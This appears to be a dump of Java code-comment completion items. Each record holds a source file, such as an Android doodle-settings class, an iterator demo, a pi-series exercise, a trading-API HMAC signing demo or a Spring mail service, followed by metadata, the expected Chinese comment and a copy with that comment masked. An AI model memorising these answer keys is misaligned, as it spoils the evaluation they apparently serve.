{ ext_words.append(keyword.getShortName() + "集团").append(","); } } if (orgName.contains("股份")) { if (StringUtils.isNotBlank(keyword.getShortName()) && !keyword.getShortName().contains("股份")) { ext_words.append(keyword.getShortName() + "股份").append(","); } } //6.0.2 循环拼接 if (StringUtils.isNotBlank(keyword.getIndustry())) { for (String ids : keyword.getIndustry().split(",")) { ext_words.append(keyword.getShortName() + ids).append(","); } } //6.0.3 如果是如下大类,直接 简称+大类 拼接 for (String mainType : KnetBigdataCommonInit.industry_stripWords_spetial_mix) { if (StringUtils.isNotBlank(keyword.getShortName())) { String nname = keyword.getShortName() + mainType; if (orgName.contains(mainType)) { if (!ext_words.toString().contains(nname)) { ext_words.append(nname).append(","); } } } } // // 6.0.4 如果简称为空 【县-市-省 + 行业词】 ,大部分是类似 河北电信 北京集团 // if(StringUtils.isBlank(keyword.getShortName())) { // if (StringUtils.isNotBlank(keyword.getCounty())) { // keyword.setShortName(keyword.getCounty()); // } else if (StringUtils.isNotBlank(keyword.getCity()) && !keyword.getCity().contains("区")) { // keyword.setShortName(keyword.getCity()); // } else if (StringUtils.isNotBlank(keyword.getProvince())) { // keyword.setShortName(keyword.getProvince()); // } // } if (StringUtils.isNotBlank(ext_words.toString())) { keyword.setOrgnameExtWords(ext_words.deleteCharAt(ext_words.toString().length() - 1).toString()); } return keyword; } }
0
2,236
18
2,532
20
2,629
18
2,532
20
3,318
29
false
false
false
false
false
true
49823_8
package cn.hzw.doodle; import android.app.Activity; import android.graphics.Color; import android.os.Parcel; import android.os.Parcelable; import cn.hzw.doodle.core.IDoodle; /** * 涂鸦参数 */ public class DoodleParams implements Parcelable { /** * 图片路径 */ public String mImagePath; /** *  保存路径,如果为null,则图片保存在根目录下/DCIM/Doodle/ */ public String mSavePath; /** *  保存路径是否为目录,如果为目录,则在该目录生成由时间戳组成的图片名称 */ public boolean mSavePathIsDir; /** * 触摸时,图片区域外是否绘制涂鸦轨迹 */ public boolean mIsDrawableOutside; /** * 涂鸦时(手指按下)隐藏设置面板的延长时间(ms),当小于等于0时则为不尝试隐藏面板(即保持面板当前状态不变);当大于0时表示需要触摸屏幕超过一定时间后才隐藏 * 或者手指抬起时展示面板的延长时间(ms),或者表示需要离开屏幕超过一定时间后才展示 * 默认为200ms */ public long mChangePanelVisibilityDelay = 200; //ms /** * 设置放大镜的倍数,当小于等于0时表示不使用放大器功能 * 放大器只有在设置面板被隐藏的时候才会出现 * 默认为2.5倍 */ public float mZoomerScale = 2.5f; /** * 是否全屏显示,即是否隐藏状态栏 * 默认为false,表示状态栏继承应用样式 */ public boolean mIsFullScreen = false; /** * 初始化的画笔大小,单位为像素 */ public float mPaintPixelSize = -1; /** * 初始化的画笔大小,单位为涂鸦坐标系中的单位大小,该单位参考dp,独立于图片 * mPaintUnitSize值优先于mPaintPixelSize */ public float mPaintUnitSize = -1; /** * 画布的最小/最大缩放倍数 */ public float mMinScale = DoodleView.MIN_SCALE; public float mMaxScale = DoodleView.MAX_SCALE; /** * 初始的画笔颜色 */ public int mPaintColor = Color.RED; /** * 是否支持缩放item */ public boolean mSupportScaleItem = true; /** * * 是否优化绘制,开启后涂鸦会及时绘制在图片上,以此优化绘制速度和性能. * * {@link DoodleView#mOptimizeDrawing} */ public boolean mOptimizeDrawing = true; public static final Creator<DoodleParams> CREATOR = new Creator<DoodleParams>() { @Override public DoodleParams createFromParcel(Parcel in) { DoodleParams params = new DoodleParams(); params.mImagePath = in.readString(); params.mSavePath = in.readString(); params.mSavePathIsDir = in.readInt() == 1; params.mIsDrawableOutside = in.readInt() == 1; params.mChangePanelVisibilityDelay = in.readLong(); params.mZoomerScale = in.readFloat(); params.mIsFullScreen = in.readInt() == 1; params.mPaintPixelSize = in.readFloat(); params.mPaintUnitSize = in.readFloat(); params.mMinScale = in.readFloat(); params.mMaxScale = in.readFloat(); params.mPaintColor = in.readInt(); params.mSupportScaleItem = in.readInt() == 1; params.mOptimizeDrawing = in.readInt() == 1; return params; } @Override public DoodleParams[] newArray(int size) { return new DoodleParams[size]; } }; @Override public void writeToParcel(Parcel dest, int flags) { dest.writeString(mImagePath); dest.writeString(mSavePath); dest.writeInt(mSavePathIsDir ? 1 : 0); dest.writeInt(mIsDrawableOutside ? 1 : 0); dest.writeLong(mChangePanelVisibilityDelay); dest.writeFloat(mZoomerScale); dest.writeInt(mIsFullScreen ? 1 : 0); dest.writeFloat(mPaintPixelSize); dest.writeFloat(mPaintUnitSize); dest.writeFloat(mMinScale); dest.writeFloat(mMaxScale); dest.writeInt(mPaintColor); dest.writeInt(mSupportScaleItem ? 1 : 0); dest.writeInt(mOptimizeDrawing ? 1 : 0); } @Override public int describeContents() { return 0; } private static DialogInterceptor sDialogInterceptor; /** * 设置涂鸦中对话框的拦截器,如点击返回按钮(或返回键)弹出保存对话框,可以进行拦截,弹出自定义的对话框 * 切记:需要自行处理内存泄漏的问题!!! */ public static void setDialogInterceptor(DialogInterceptor interceptor) { sDialogInterceptor = interceptor; } public static DialogInterceptor getDialogInterceptor() { return sDialogInterceptor; } public enum DialogType { SAVE, CLEAR_ALL, COLOR_PICKER; } public interface DialogInterceptor { /** * @param activity * @param doodle * @param dialogType 对话框类型 * @return 返回true表示拦截 */ boolean onShow(Activity activity, IDoodle doodle, DialogType dialogType); } }
1993hzw/Doodle
doodle/src/main/java/cn/hzw/doodle/DoodleParams.java
1,372
/** * 初始化的画笔大小,单位为像素 */
block_comment
zh-cn
package cn.hzw.doodle; import android.app.Activity; import android.graphics.Color; import android.os.Parcel; import android.os.Parcelable; import cn.hzw.doodle.core.IDoodle; /** * 涂鸦参数 */ public class DoodleParams implements Parcelable { /** * 图片路径 */ public String mImagePath; /** *  保存路径,如果为null,则图片保存在根目录下/DCIM/Doodle/ */ public String mSavePath; /** *  保存路径是否为目录,如果为目录,则在该目录生成由时间戳组成的图片名称 */ public boolean mSavePathIsDir; /** * 触摸时,图片区域外是否绘制涂鸦轨迹 */ public boolean mIsDrawableOutside; /** * 涂鸦时(手指按下)隐藏设置面板的延长时间(ms),当小于等于0时则为不尝试隐藏面板(即保持面板当前状态不变);当大于0时表示需要触摸屏幕超过一定时间后才隐藏 * 或者手指抬起时展示面板的延长时间(ms),或者表示需要离开屏幕超过一定时间后才展示 * 默认为200ms */ public long mChangePanelVisibilityDelay = 200; //ms /** * 设置放大镜的倍数,当小于等于0时表示不使用放大器功能 * 放大器只有在设置面板被隐藏的时候才会出现 * 默认为2.5倍 */ public float mZoomerScale = 2.5f; /** * 是否全屏显示,即是否隐藏状态栏 * 默认为false,表示状态栏继承应用样式 */ public boolean mIsFullScreen = false; /** * 初始化 <SUF>*/ public float mPaintPixelSize = -1; /** * 初始化的画笔大小,单位为涂鸦坐标系中的单位大小,该单位参考dp,独立于图片 * mPaintUnitSize值优先于mPaintPixelSize */ public float mPaintUnitSize = -1; /** * 画布的最小/最大缩放倍数 */ public float mMinScale = DoodleView.MIN_SCALE; public float mMaxScale = DoodleView.MAX_SCALE; /** * 初始的画笔颜色 */ public int mPaintColor = Color.RED; /** * 是否支持缩放item */ public boolean mSupportScaleItem = true; /** * * 是否优化绘制,开启后涂鸦会及时绘制在图片上,以此优化绘制速度和性能. * * {@link DoodleView#mOptimizeDrawing} */ public boolean mOptimizeDrawing = true; public static final Creator<DoodleParams> CREATOR = new Creator<DoodleParams>() { @Override public DoodleParams createFromParcel(Parcel in) { DoodleParams params = new DoodleParams(); params.mImagePath = in.readString(); params.mSavePath = in.readString(); params.mSavePathIsDir = in.readInt() == 1; params.mIsDrawableOutside = in.readInt() == 1; params.mChangePanelVisibilityDelay = in.readLong(); params.mZoomerScale = in.readFloat(); params.mIsFullScreen = in.readInt() == 1; params.mPaintPixelSize = in.readFloat(); params.mPaintUnitSize = in.readFloat(); params.mMinScale = in.readFloat(); params.mMaxScale = in.readFloat(); params.mPaintColor = in.readInt(); params.mSupportScaleItem = in.readInt() == 1; params.mOptimizeDrawing = in.readInt() == 1; return params; } @Override public DoodleParams[] newArray(int size) { return new DoodleParams[size]; } }; @Override public void writeToParcel(Parcel dest, int flags) { dest.writeString(mImagePath); dest.writeString(mSavePath); dest.writeInt(mSavePathIsDir ? 1 : 0); dest.writeInt(mIsDrawableOutside ? 1 : 0); dest.writeLong(mChangePanelVisibilityDelay); dest.writeFloat(mZoomerScale); dest.writeInt(mIsFullScreen ? 1 : 0); dest.writeFloat(mPaintPixelSize); dest.writeFloat(mPaintUnitSize); dest.writeFloat(mMinScale); dest.writeFloat(mMaxScale); dest.writeInt(mPaintColor); dest.writeInt(mSupportScaleItem ? 1 : 0); dest.writeInt(mOptimizeDrawing ? 1 : 0); } @Override public int describeContents() { return 0; } private static DialogInterceptor sDialogInterceptor; /** * 设置涂鸦中对话框的拦截器,如点击返回按钮(或返回键)弹出保存对话框,可以进行拦截,弹出自定义的对话框 * 切记:需要自行处理内存泄漏的问题!!! */ public static void setDialogInterceptor(DialogInterceptor interceptor) { sDialogInterceptor = interceptor; } public static DialogInterceptor getDialogInterceptor() { return sDialogInterceptor; } public enum DialogType { SAVE, CLEAR_ALL, COLOR_PICKER; } public interface DialogInterceptor { /** * @param activity * @param doodle * @param dialogType 对话框类型 * @return 返回true表示拦截 */ boolean onShow(Activity activity, IDoodle doodle, DialogType dialogType); } }
0
1,213
15
1,372
15
1,371
16
1,372
15
1,868
24
false
false
false
false
false
true
25893_5
package com.liebrother.designpatterns.iterator; import java.util.Iterator; public class IteratorTest { public static void main(String[] args) { NetEaseMusic2 netEaseMusic2 = new NetEaseMusic2(); netEaseMusic2.listenToMusicByLoop(); } } /** * 网易云音乐 */ class NetEaseMusic2{ private IList2 songList; public NetEaseMusic2() { songList = new SongList2(3); songList.add(new Song("让我留在你身边", "陈奕迅")); songList.add(new Song("你曾是少年", "SHE")); songList.add(new Song("Perfect", "Ed Sheeran")); } /** * 列表循环 */ public void listenToMusicByLoop() { IIterator iterator = songList.iterator(); while (iterator.hasNext()) { System.out.println("听歌:" + ((ISong)iterator.next()).getSongInfo()); } } } /** * 容器接口 */ interface IList2 { IIterator iterator(); void add(Object object); Object get(int index); int size(); } /** * 歌单 */ class SongList2 implements IList2 { private ISong[] songs; private int index; private int size; public SongList2(int size) { songs = new ISong[size]; index = 0; size = 0; } @Override public IIterator iterator() { return new IteratorImpl(this); } @Override public void add(Object object) { songs[index++] = (ISong) object; size ++; } @Override public Object get(int index) { if (index < size) { return songs[index]; } return null; } @Override public int size() { return size; } } /** * 迭代器 */ interface IIterator { Object next(); boolean hasNext(); } /** * 迭代器实现类 */ class IteratorImpl implements IIterator { private IList2 list; private int index; public IteratorImpl(IList2 list) { this.list = list; this.index = 0; } @Override public Object next() { return list.get(index++); } @Override public boolean hasNext() { if (index < list.size()) { return true; } return false; } }
1CSH1/DesignPatterns
src/com/liebrother/designpatterns/iterator/IteratorTest.java
602
/** * 迭代器实现类 */
block_comment
zh-cn
package com.liebrother.designpatterns.iterator; import java.util.Iterator; public class IteratorTest { public static void main(String[] args) { NetEaseMusic2 netEaseMusic2 = new NetEaseMusic2(); netEaseMusic2.listenToMusicByLoop(); } } /** * 网易云音乐 */ class NetEaseMusic2{ private IList2 songList; public NetEaseMusic2() { songList = new SongList2(3); songList.add(new Song("让我留在你身边", "陈奕迅")); songList.add(new Song("你曾是少年", "SHE")); songList.add(new Song("Perfect", "Ed Sheeran")); } /** * 列表循环 */ public void listenToMusicByLoop() { IIterator iterator = songList.iterator(); while (iterator.hasNext()) { System.out.println("听歌:" + ((ISong)iterator.next()).getSongInfo()); } } } /** * 容器接口 */ interface IList2 { IIterator iterator(); void add(Object object); Object get(int index); int size(); } /** * 歌单 */ class SongList2 implements IList2 { private ISong[] songs; private int index; private int size; public SongList2(int size) { songs = new ISong[size]; index = 0; size = 0; } @Override public IIterator iterator() { return new IteratorImpl(this); } @Override public void add(Object object) { songs[index++] = (ISong) object; size ++; } @Override public Object get(int index) { if (index < size) { return songs[index]; } return null; } @Override public int size() { return size; } } /** * 迭代器 */ interface IIterator { Object next(); boolean hasNext(); } /** * 迭代器 <SUF>*/ class IteratorImpl implements IIterator { private IList2 list; private int index; public IteratorImpl(IList2 list) { this.list = list; this.index = 0; } @Override public Object next() { return list.get(index++); } @Override public boolean hasNext() { if (index < list.size()) { return true; } return false; } }
0
538
10
602
10
646
10
602
10
740
14
false
false
false
false
false
true
66172_5
// 历史上有许多计算圆周率pai的公式,其中,格雷戈里和莱布尼茨发现了下面的公式: // pai = 4*(1-1/3+1/5-1/7 ....) // 参见【图1.png】 // 这个公式简单而优美,但美中不足,它收敛的太慢了。 // 如果我们四舍五入保留它的两位小数,那么: // 累积1项是:4.00 // 累积2项是:2.67 // 累积3项是:3.47 // 。。。 // 请你写出它累积100项是多少(四舍五入到小数后两位)。 // 注意:只填写该小数本身,不要填写任何多余的说明或解释文字。 public class Main_2 { public static void main(String[] args) { double ans = 0; for (int i = 0; i < 100; i++) { ans += Math.pow(-1, i) * (1.0 / (2 * i + 1)); // 这里计算公式是 ((-1)^i) // ______________———————— // _______________2*i+1 } ans *= 4; // 结果已经自然四舍五入了 System.out.printf("%.2f", ans); // 3.13 // System.out.println(ans); // 3.1315929035585537 } }
1m188/algorithm
蓝桥杯/第5届/个人赛省赛/Java大学A组/Main_2.java
399
// 累积1项是:4.00
line_comment
zh-cn
// 历史上有许多计算圆周率pai的公式,其中,格雷戈里和莱布尼茨发现了下面的公式: // pai = 4*(1-1/3+1/5-1/7 ....) // 参见【图1.png】 // 这个公式简单而优美,但美中不足,它收敛的太慢了。 // 如果我们四舍五入保留它的两位小数,那么: // 累积 <SUF> // 累积2项是:2.67 // 累积3项是:3.47 // 。。。 // 请你写出它累积100项是多少(四舍五入到小数后两位)。 // 注意:只填写该小数本身,不要填写任何多余的说明或解释文字。 public class Main_2 { public static void main(String[] args) { double ans = 0; for (int i = 0; i < 100; i++) { ans += Math.pow(-1, i) * (1.0 / (2 * i + 1)); // 这里计算公式是 ((-1)^i) // ______________———————— // _______________2*i+1 } ans *= 4; // 结果已经自然四舍五入了 System.out.printf("%.2f", ans); // 3.13 // System.out.println(ans); // 3.1315929035585537 } }
0
349
13
399
13
368
12
399
13
512
16
false
false
false
false
false
true
17950_3
import okhttp3.*; import org.json.JSONArray; import org.json.JSONException; import org.json.JSONObject; import javax.crypto.Mac; import javax.crypto.spec.SecretKeySpec; import java.io.IOException; import java.util.HashMap; import java.util.Map; import java.util.Scanner; public class demo_private { public static String ot_key = ""; public static String ot_secret = ""; public String HOST = "https://1token.trade/api/v1/trade"; public int TimeOut = 15000; public OkHttpClient client; public demo_private() { } public static void main(String[] args) throws IOException, JSONException { Scanner sc = new Scanner(System.in); System.out.println("ot_key:"); ot_key = sc.next(); System.out.println("ot_secret:"); ot_secret = sc.next(); System.out.println("请输入交易账号 账号格式是 {交易所}/{交易账户名} 比如 okex/mock-1token-demo: "); String account = sc.next(); demo_private d = new demo_private(); d.demo(account); } public String sha256_HMAC(String secret, String message) { String hash = ""; try { Mac sha256_HMAC = Mac.getInstance("HmacSHA256"); SecretKeySpec secret_key = new SecretKeySpec(secret.getBytes(), "HmacSHA256"); sha256_HMAC.init(secret_key); byte[] bytes = sha256_HMAC.doFinal(message.getBytes()); hash = byteArrayToHexString(bytes); System.out.println(hash); } catch (Exception e) { System.out.println("Error HmacSHA256 ===========" + e.getMessage()); } return hash; } private String byteArrayToHexString(byte[] b) { StringBuilder hs = new StringBuilder(); String stmp; for (int n = 0; b != null && n < b.length; n++) { stmp = Integer.toHexString(b[n] & 0XFF); if (stmp.length() == 1) hs.append('0'); hs.append(stmp); } return hs.toString().toLowerCase(); } public String gen_nonce() { return String.valueOf(System.currentTimeMillis() / 1000); } //获取签名 public String gen_sign(String secret, String verb, String endpoint, String nonce, String data_str) { if (data_str == null) { data_str = ""; } String message = verb + endpoint + nonce + data_str; String signature = sha256_HMAC(secret, message); return signature; } //TimeOut给0 就是使用默认值 HOST也是传""或者null就是使用默认值 public Response api_call(String method, String endpoint, HashMap<String, String> params, String jsonData, int timeOut, String host) throws IOException { if (timeOut == 0) { timeOut = TimeOut; } if (host == null || host.equals("")) { host = HOST; } //请求方式大写 method = method.toUpperCase(); String nonce = gen_nonce(); String url = host + endpoint; String sign = gen_sign(ot_secret, method, endpoint, nonce, jsonData); String params_str = ""; if (params != null) { for (Map.Entry<String, String> entry : params.entrySet()) { params_str += "&" + entry.getKey() + "=" + entry.getValue(); } params_str = "?" + params_str.substring(1, params_str.length() - 1); } url = url + params_str; MediaType mediaType = MediaType.parse("application/json"); RequestBody requestBody = RequestBody.create(mediaType, jsonData); Request request = new Request.Builder().url(url).method(method, method.equals("GET") ? null : requestBody). addHeader("Api-Nonce", nonce). addHeader("Api-Key", ot_key). addHeader("Api-Signature", sign). addHeader("Content-Type", "application/json"). build(); Response response = client.newCall(request).execute(); return response; } public void demo(String account) throws IOException, JSONException { client = new OkHttpClient(); System.out.println("查看账户信息"); Response r = api_call("GET", "/" + account + "/info", null, "", 0, ""); System.out.println(r.body() != null ? r.body().string() : ""); System.out.println("撤销所有订单"); r = api_call("DELETE", "/" + account + "/orders/all", null, "", 0, ""); System.out.println(r.body() != null ? r.body().string() : ""); System.out.println("下单"); JSONObject jsonObjectParams = new JSONObject(); jsonObjectParams.put("contract", "okex/btc.usdt"); jsonObjectParams.put("price", 10); jsonObjectParams.put("bs", "b"); jsonObjectParams.put("amount", 1); JSONObject jsonObjectParams_1 = new JSONObject(); jsonObjectParams_1.put("close", true); jsonObjectParams.put("options", jsonObjectParams_1); r = api_call("POST", "/" + account + "/orders", null, jsonObjectParams.toString(), 0, ""); String result = r.body().string(); System.out.println(result); JSONObject jsonObject = new JSONObject(result); String exchange_oid = jsonObject.getString("exchange_oid"); System.out.println("查询挂单 应该有一个挂单"); //这边解析用的原生的jsonObject 可自行选择适合的库 r = api_call("GET", "/" + account + "/orders", null, "", 0, ""); JSONArray jsonArray = new JSONArray(r.body().string()); System.out.println(jsonArray.length()); System.out.println("用 exchange_oid撤单"); HashMap<String, String> params = new HashMap<>(); params.put("exchange_oid", exchange_oid); r = api_call("DELETE", "/" + account + "/orders", params, "", 0, ""); System.out.println(r.body() != null ? r.body().string() : ""); System.out.println("查询挂单 应该没有挂单"); r = api_call("GET", "/" + account + "/orders", null, "", 0, ""); JSONArray jsonArray_1 = new JSONArray(r.body().string()); System.out.println(jsonArray_1.length()); } }
1token-tech/onetoken
demo-java/demo_private.java
1,572
//请求方式大写
line_comment
zh-cn
import okhttp3.*; import org.json.JSONArray; import org.json.JSONException; import org.json.JSONObject; import javax.crypto.Mac; import javax.crypto.spec.SecretKeySpec; import java.io.IOException; import java.util.HashMap; import java.util.Map; import java.util.Scanner; public class demo_private { public static String ot_key = ""; public static String ot_secret = ""; public String HOST = "https://1token.trade/api/v1/trade"; public int TimeOut = 15000; public OkHttpClient client; public demo_private() { } public static void main(String[] args) throws IOException, JSONException { Scanner sc = new Scanner(System.in); System.out.println("ot_key:"); ot_key = sc.next(); System.out.println("ot_secret:"); ot_secret = sc.next(); System.out.println("请输入交易账号 账号格式是 {交易所}/{交易账户名} 比如 okex/mock-1token-demo: "); String account = sc.next(); demo_private d = new demo_private(); d.demo(account); } public String sha256_HMAC(String secret, String message) { String hash = ""; try { Mac sha256_HMAC = Mac.getInstance("HmacSHA256"); SecretKeySpec secret_key = new SecretKeySpec(secret.getBytes(), "HmacSHA256"); sha256_HMAC.init(secret_key); byte[] bytes = sha256_HMAC.doFinal(message.getBytes()); hash = byteArrayToHexString(bytes); System.out.println(hash); } catch (Exception e) { System.out.println("Error HmacSHA256 ===========" + e.getMessage()); } return hash; } private String byteArrayToHexString(byte[] b) { StringBuilder hs = new StringBuilder(); String stmp; for (int n = 0; b != null && n < b.length; n++) { stmp = Integer.toHexString(b[n] & 0XFF); if (stmp.length() == 1) hs.append('0'); hs.append(stmp); } return hs.toString().toLowerCase(); } public String gen_nonce() { return String.valueOf(System.currentTimeMillis() / 1000); } //获取签名 public String gen_sign(String secret, String verb, String endpoint, String nonce, String data_str) { if (data_str == null) { data_str = ""; } String message = verb + endpoint + nonce + data_str; String signature = sha256_HMAC(secret, message); return signature; } //TimeOut给0 就是使用默认值 HOST也是传""或者null就是使用默认值 public Response api_call(String method, String endpoint, HashMap<String, String> params, String jsonData, int timeOut, String host) throws IOException { if (timeOut == 0) { timeOut = TimeOut; } if (host == null || host.equals("")) { host = HOST; } //请求 <SUF> method = method.toUpperCase(); String nonce = gen_nonce(); String url = host + endpoint; String sign = gen_sign(ot_secret, method, endpoint, nonce, jsonData); String params_str = ""; if (params != null) { for (Map.Entry<String, String> entry : params.entrySet()) { params_str += "&" + entry.getKey() + "=" + entry.getValue(); } params_str = "?" + params_str.substring(1, params_str.length() - 1); } url = url + params_str; MediaType mediaType = MediaType.parse("application/json"); RequestBody requestBody = RequestBody.create(mediaType, jsonData); Request request = new Request.Builder().url(url).method(method, method.equals("GET") ? null : requestBody). addHeader("Api-Nonce", nonce). addHeader("Api-Key", ot_key). addHeader("Api-Signature", sign). addHeader("Content-Type", "application/json"). build(); Response response = client.newCall(request).execute(); return response; } public void demo(String account) throws IOException, JSONException { client = new OkHttpClient(); System.out.println("查看账户信息"); Response r = api_call("GET", "/" + account + "/info", null, "", 0, ""); System.out.println(r.body() != null ? r.body().string() : ""); System.out.println("撤销所有订单"); r = api_call("DELETE", "/" + account + "/orders/all", null, "", 0, ""); System.out.println(r.body() != null ? r.body().string() : ""); System.out.println("下单"); JSONObject jsonObjectParams = new JSONObject(); jsonObjectParams.put("contract", "okex/btc.usdt"); jsonObjectParams.put("price", 10); jsonObjectParams.put("bs", "b"); jsonObjectParams.put("amount", 1); JSONObject jsonObjectParams_1 = new JSONObject(); jsonObjectParams_1.put("close", true); jsonObjectParams.put("options", jsonObjectParams_1); r = api_call("POST", "/" + account + "/orders", null, jsonObjectParams.toString(), 0, ""); String result = r.body().string(); System.out.println(result); JSONObject jsonObject = new JSONObject(result); String exchange_oid = jsonObject.getString("exchange_oid"); System.out.println("查询挂单 应该有一个挂单"); //这边解析用的原生的jsonObject 可自行选择适合的库 r = api_call("GET", "/" + account + "/orders", null, "", 0, ""); JSONArray jsonArray = new JSONArray(r.body().string()); System.out.println(jsonArray.length()); System.out.println("用 exchange_oid撤单"); HashMap<String, String> params = new HashMap<>(); params.put("exchange_oid", exchange_oid); r = api_call("DELETE", "/" + account + "/orders", params, "", 0, ""); System.out.println(r.body() != null ? r.body().string() : ""); System.out.println("查询挂单 应该没有挂单"); r = api_call("GET", "/" + account + "/orders", null, "", 0, ""); JSONArray jsonArray_1 = new JSONArray(r.body().string()); System.out.println(jsonArray_1.length()); } }
0
1,362
5
1,572
5
1,660
5
1,572
5
1,937
7
false
false
false
false
false
true
13526_3
package com.forest.communityproperty.service; import org.springframework.core.io.FileSystemResource; import org.springframework.mail.SimpleMailMessage; import org.springframework.mail.javamail.JavaMailSender; import org.springframework.mail.javamail.MimeMessageHelper; import org.springframework.stereotype.Service; import javax.annotation.Resource; import javax.mail.MessagingException; import javax.mail.internet.MimeMessage; import java.io.File; @Service public class Forest_MailService { @Resource JavaMailSender javaMailSender; /** * 最简单的邮件发送 * * @param from 发送方 * @param to 接收方 * @param cc 第三方(非必填) * @param subject 标题 * @param content 内容 * @param name 姓名 */ public void sendSimpleMail(String from, String to, String cc, String subject, String content, String name) throws Exception { //调用函数 SimpleMailMessage simpleMailMessage = new SimpleMailMessage(); //接收人的邮件账号 simpleMailMessage.setTo(to); // simpleMailMessage.setCc(cc); //发送邮件的标题 simpleMailMessage.setSubject(subject); simpleMailMessage.setText("尊敬的:\n" + name + "" + "\t先生/女士\n" + content + "请你尽快到来!\n" + "非常感谢你的合作!\n" + "\n --业务人员:小王"); //邮件发送人 String nick = "FOREST"; simpleMailMessage.setFrom(nick + " <" + from + ">"); //调用spring boot的mail函数 javaMailSender.send(simpleMailMessage); } /** * 代附件的邮件 * * @param from * @param to * @param subject * @param content * @param file */ public void sendAttachFileMail(String from, String to, String subject, String content, File file) { try { MimeMessage mimeMessage = javaMailSender.createMimeMessage(); MimeMessageHelper mimeMessageHelper = new MimeMessageHelper(mimeMessage, true); mimeMessageHelper.setFrom(from); mimeMessageHelper.setTo(to); mimeMessageHelper.setSubject(subject); mimeMessageHelper.setText(content); mimeMessageHelper.addAttachment(file.getName(), file); javaMailSender.send(mimeMessage); } catch (Exception e) { e.printStackTrace(); } } /** * 带图片的邮件 * * @param from * @param to * @param subject * @param content * @param srePAth * @param resIds */ public void sendMailWithImg(String from, String to, String subject, String content, String[] srePAth, String[] resIds) { if (srePAth.length != resIds.length) { System.out.println("发送失败"); return; } try { MimeMessage mimeMessage = javaMailSender.createMimeMessage(); MimeMessageHelper mimeMessageHelper = new MimeMessageHelper(mimeMessage, true); mimeMessageHelper.setTo(to); mimeMessageHelper.setFrom(from); mimeMessageHelper.setSubject(subject); mimeMessageHelper.setText(content, true); for (int i = 0; i < srePAth.length; i++) { FileSystemResource res = new FileSystemResource(new File(srePAth[i])); mimeMessageHelper.addInline(resIds[i], res); } javaMailSender.send(mimeMessage); } catch (MessagingException e) { e.printStackTrace(); } } /** * 使用thymeleaf模板 * * @param from * @param to * @param subject * @param context */ public void sendHtmlMail(String from, String to, String subject, String context) { try { MimeMessage mimeMessage = javaMailSender.createMimeMessage(); MimeMessageHelper mimeMessageHelper = new MimeMessageHelper(mimeMessage, true); mimeMessageHelper.setFrom(from); mimeMessageHelper.setTo(to); mimeMessageHelper.setText(context); mimeMessageHelper.setSubject(subject); javaMailSender.send(mimeMessage); } catch (MessagingException e) { e.printStackTrace(); } } }
1xiaowang1/Communityproperty
src/main/java/com/forest/communityproperty/service/Forest_MailService.java
1,025
//发送邮件的标题
line_comment
zh-cn
package com.forest.communityproperty.service; import org.springframework.core.io.FileSystemResource; import org.springframework.mail.SimpleMailMessage; import org.springframework.mail.javamail.JavaMailSender; import org.springframework.mail.javamail.MimeMessageHelper; import org.springframework.stereotype.Service; import javax.annotation.Resource; import javax.mail.MessagingException; import javax.mail.internet.MimeMessage; import java.io.File; @Service public class Forest_MailService { @Resource JavaMailSender javaMailSender; /** * 最简单的邮件发送 * * @param from 发送方 * @param to 接收方 * @param cc 第三方(非必填) * @param subject 标题 * @param content 内容 * @param name 姓名 */ public void sendSimpleMail(String from, String to, String cc, String subject, String content, String name) throws Exception { //调用函数 SimpleMailMessage simpleMailMessage = new SimpleMailMessage(); //接收人的邮件账号 simpleMailMessage.setTo(to); // simpleMailMessage.setCc(cc); //发送 <SUF> simpleMailMessage.setSubject(subject); simpleMailMessage.setText("尊敬的:\n" + name + "" + "\t先生/女士\n" + content + "请你尽快到来!\n" + "非常感谢你的合作!\n" + "\n --业务人员:小王"); //邮件发送人 String nick = "FOREST"; simpleMailMessage.setFrom(nick + " <" + from + ">"); //调用spring boot的mail函数 javaMailSender.send(simpleMailMessage); } /** * 代附件的邮件 * * @param from * @param to * @param subject * @param content * @param file */ public void sendAttachFileMail(String from, String to, String subject, String content, File file) { try { MimeMessage mimeMessage = javaMailSender.createMimeMessage(); MimeMessageHelper mimeMessageHelper = new MimeMessageHelper(mimeMessage, true); mimeMessageHelper.setFrom(from); mimeMessageHelper.setTo(to); mimeMessageHelper.setSubject(subject); mimeMessageHelper.setText(content); mimeMessageHelper.addAttachment(file.getName(), file); javaMailSender.send(mimeMessage); } catch (Exception e) { e.printStackTrace(); } } /** * 带图片的邮件 * * @param from * @param to * @param subject * @param content * @param srePAth * @param resIds */ public void sendMailWithImg(String from, String to, String subject, String content, String[] srePAth, String[] resIds) { if (srePAth.length != resIds.length) { System.out.println("发送失败"); return; } try { MimeMessage mimeMessage = javaMailSender.createMimeMessage(); MimeMessageHelper mimeMessageHelper = new MimeMessageHelper(mimeMessage, true); mimeMessageHelper.setTo(to); mimeMessageHelper.setFrom(from); mimeMessageHelper.setSubject(subject); mimeMessageHelper.setText(content, true); for (int i = 0; i < srePAth.length; i++) { FileSystemResource res = new FileSystemResource(new File(srePAth[i])); mimeMessageHelper.addInline(resIds[i], res); } javaMailSender.send(mimeMessage); } catch (MessagingException e) { e.printStackTrace(); } } /** * 使用thymeleaf模板 * * @param from * @param to * @param subject * @param context */ public void sendHtmlMail(String from, String to, String subject, String context) { try { MimeMessage mimeMessage = javaMailSender.createMimeMessage(); MimeMessageHelper mimeMessageHelper = new MimeMessageHelper(mimeMessage, true); mimeMessageHelper.setFrom(from); mimeMessageHelper.setTo(to); mimeMessageHelper.setText(context); mimeMessageHelper.setSubject(subject); javaMailSender.send(mimeMessage); } catch (MessagingException e) { e.printStackTrace(); } } }
0
945
5
1,025
5
1,090
5
1,025
5
1,266
10
false
false
false
false
false
true
5042_11
